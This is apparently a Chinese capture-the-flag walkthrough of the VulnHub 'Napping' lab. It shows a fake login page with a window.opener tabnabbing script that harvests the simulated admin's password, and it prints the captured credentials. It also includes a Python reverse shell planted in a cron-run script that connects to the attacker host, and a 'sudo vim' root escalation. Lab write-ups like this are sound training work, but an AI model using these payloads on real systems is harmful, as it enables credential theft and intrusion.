【VulnHub系列】Napping: 一次曲折的渗透历程
基本信息
靶场:Vulnhub Napping 1.0.1
攻击机Kali:
192.168.56.3靶机:
192.168.56.6虚拟机模式:仅主机,攻击机靶机同一网段
下载链接:https://download.vulnhub.com/napping/napping-1.0.1.ova
作者:hadrian3689
难度:简单
一、信息收集
- 使用arp-scan发现目标主: 192.168.56.6
shell
arp-scan --local

- nmap探测开放的服务
shell
nmap -sV -T4 -p- 192.168.56.6
扫描发现靶机开放80和22端口。

- 浏览器访问80端口,发现登录和注册功能

- 使用gobuster看有没有其他页面
shell
gobuster dir -u http://192.168.56.6 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -x php,bak,old,txt,html
没有其他关键线索,都是比较常规的页面,注意config.php访问无内容显示。

二、开始渗透
- sql注入测试失败,弱口令测试失败,先注册一个test用户登录看什么内容。

几个关键点:- hello + 用户名 可以测试XSS(这里没有),
-blog link可以输入链接,然后会在下方显示一个a标签

- hello + 用户名 可以测试XSS(这里没有),
- 通过提示信息All links will be reviewed by our admin可以推测出来,后端有个服务可以模拟管理员用户自动访问我们提供的链接,猜测可能存在XSS?SSRF?还是钓鱼呢?
- 在kali起一个python http server测试后端是怎么访问的。
shell
python -m http.server 8080
同时打开我们的wireshark抓包,可能访问我们链接的时候会携带什么关键信息呢。
- 在浏览器的Blog Link处输入 http://192.168.56.3:8080/,然后点击提交,看抓包信息,这个时候需要耐心等待。

跟踪一下HTTP流,没有cookie之类的信息,但却是请求了目标。

之后开始推测后端的执行逻辑,访问完链接后写入到本地文件了没?经测试没有
然后我又测试了一下XSS,使用BeEF,将链接改为恶意的html,发现虽然请求了html文件,但是上线失败。
再次猜测整个执行逻辑:通过之前的目录暴破未发现管理员登录页面,并且根据提示信息All links will be reviewed by our admin ,管理员会访问我们的链接,因此推测管理员通过index.php登录自己的账号,然后看到了我们提交的链接,然后手动点击链接(这里是程序模拟),然后可能会对我们提供的网页继续做某些事情,因此这里想到了钓鱼。
- 构造钓鱼网页并命名为c.html,这里的钓鱼网页源码取自该网站的登录页,以达到真实攻击的效果。
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<style>
body{ font: 14px sans-serif; }
.wrapper{ width: 360px; padding: 20px; }
</style>
</head>
<body>
<div class="wrapper">
<h2>Login</h2>
<p>Please fill in your credentials to login.</p>
<form action="http://192.168.56.3/" method="get">
<div class="form-group">
<label>Username</label>
<input type="text" name="username" class="form-control " value="">
<span class="invalid-feedback"></span>
</div>
<div class="form-group">
<label>Password</label>
<input type="password" name="password" class="form-control ">
<span class="invalid-feedback"></span>
</div>
<div class="form-group">
<input type="submit" class="btn btn-primary" value="Login">
</div>
<p>Don't have an account? <a href="register.php">Sign up now</a>.</p>
</form>
</div>
</body>
</html>
- 填入链接 http://192.168.56.3:8080/c.html, 使用wireshark抓包,等待管理员访问。踩坑了,哈哈哈。
这个时候发现只有一个GET请求,按照预期应该是POST方式管理员提交登录请求。

最终通过询问豆包发现 a链接的target='_blank'的一个漏洞利用点,就是window.opener这个属性,详细了解见此链接:https://mdn.org.cn/en-US/docs/Web/API/Window/opener#google_vignette。
Window 接口的 opener 属性返回一个对打开当前窗口的窗口的引用,无论是通过 open() 方法打开的,还是通过带有 target 属性的链接导航打开的。
换句话说,如果窗口 A 打开窗口 B,则 B.opener 返回 A。
知道这个原理之后我们就可以梳理一下攻击线路了。
- 首先构造两个页面,c和d, c.html是我们的钓鱼页面,d.html是我们的虚假博客页面。
- 管理员浏览器标签 A:靶站页面(查看我们提交的链接,页面上有
here) - 管理员点击标签 A 里的
here→ 新开标签 B加载我们的 d.html - 标签 B 的 JS 执行:
window.opener.location = c.htmlwindow.opener= 标签 A- 标签 A 被强制跳转,页面变成伪造登录页
- 管理员切回标签 A,看到登录框,以为会话过期,输入账号密码提交
- 我们可以通过抓包获取到管理员提交的用户名和密码了。
d.html
html
<!DOCTYPE html>
<html>
<body>
<script>
if(window.opener){
// 劫持原始标签,跳转到伪造登录页面
window.opener.location="http://192.168.56.3:8080/c.html";
}
</script>
<p>Hello, welcome to my blog</p>
</body>
</html>
c.html
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<style>
body{ font: 14px sans-serif; }
.wrapper{ width: 360px; padding: 20px; }
</style>
</head>
<body>
<div class="wrapper">
<h2>Login</h2>
<p>Please fill in your credentials to login.</p>
<form action="http://192.168.56.3:8080" method="post">
<div class="form-group">
<label>Username</label>
<input type="text" name="username" class="form-control " value="">
<span class="invalid-feedback"></span>
</div>
<div class="form-group">
<label>Password</label>
<input type="password" name="password" class="form-control ">
<span class="invalid-feedback"></span>
</div>
<div class="form-group">
<input type="submit" class="btn btn-primary" value="Login">
</div>
<p>Don't have an account? <a href="register.php">Sign up now</a>.</p>
</form>
</div>
</body>
</html>
- 然后继续在blog link上输入 http://192.18.56.3:8080/d.html ,观察Wireshark抓包情况,这个时候会发现共有两个请求包,一个GET,一个POST。

直接追踪一下POST的HTTP流即可看到提交的管理员账号和密码。密码这里注意URL解码

账户密码复用的到user flag
- 使用得到的用户名daniel , 密码C@ughtm3napping123 尝试登录SSH,没毛病。

- 找flag发现家目录下没有,/var/www/html目录下也没有,直接通过搜索文件名也没找到,但是在查找过程中发现还有一个用户adrian,可能flag就在这里。
- 接下来先找adrian这个用户怎么搞到呢,首先查看一下网站源码看有没有什么线索,最终在我们最初扫描到的config.php文件中找到了密码
P@sswr0d456。

- su切换用户为adrian,发现失败,说明这里是唬人的。坑爹!!!
- 继续审一下welcome.php的代码,发现我们之前提供的数据都是存放在了数据库中,用户名和密码有了,看下数据库内容。

空空如也

- 接下来去找模拟管理员点击的程序,使用top查看一下有没有运行中的python脚本,为啥这里找python呢,因为之前我们抓包的时候发现UA头是python的requests,说明后台模拟管理员的程序是通过python写的。这里没有找到常驻进程。说明程序不是直接通过python xxx &进行启动的,那么很可能是通过定时任务启动的。

- 通过crontab -l查看定时任务,没有。说明不是通过daniel配置的定时任务

- 使用cat /etc/crontab命令查看,空空空空

- 使用cat /etc/cron.d/* 2>/dev/null继续查看,还是没有,放弃。

- 接下来通过id查看一下当前用户有没有关键信息,发现daniel除了自身的组之外还有一个administrators组。

- 查看administrators组成员有哪些,两个用户,还有一个adrian ,关键信息!!!

- 去使用daniel看看adrian家目录有没有东西,以及对应的权限。

找到了两个关键信息
- 找到了user.txt flag文件,但是daniel没有读权限,
- query.py 疑似模拟管理员的程序。
- 查看 query.py的内容。这个程序的作用是确定本地部署的网站的可用性的。并将其网站状态写入到site_staus.txt中。

通过查看site_status.txt文件发现是该程序每两分钟执行一次。

- 既然有写的权限,我们可以将反弹shell的脚本写入进去, 并且kali开启nc监听,等待程序执行。
python
import socket,subprocess,os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 改成你的Kali虚拟机IP和监听端口
s.connect(("192.168.56.3", 6666))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])

查看user.txt文件

- 接下来尝试提权, 使用 sudo -l测试,发现vim程序能够提权

- 运行:sudo vim -c '!/bin/bash',一条命令直接获取root shell(无需升级为交互式终端即可正常操作),如果先打开vim再输入:!/bin/bash 需要提前升级为交互式shell。

16.接下来得到/root用户下的 root.txt即可。
text
Admins just can't stay awake tsk tsk tsk
发现模拟管理员点击程序完成闭环
- 真正的模拟管理员的代码是 /root/nap.py文件
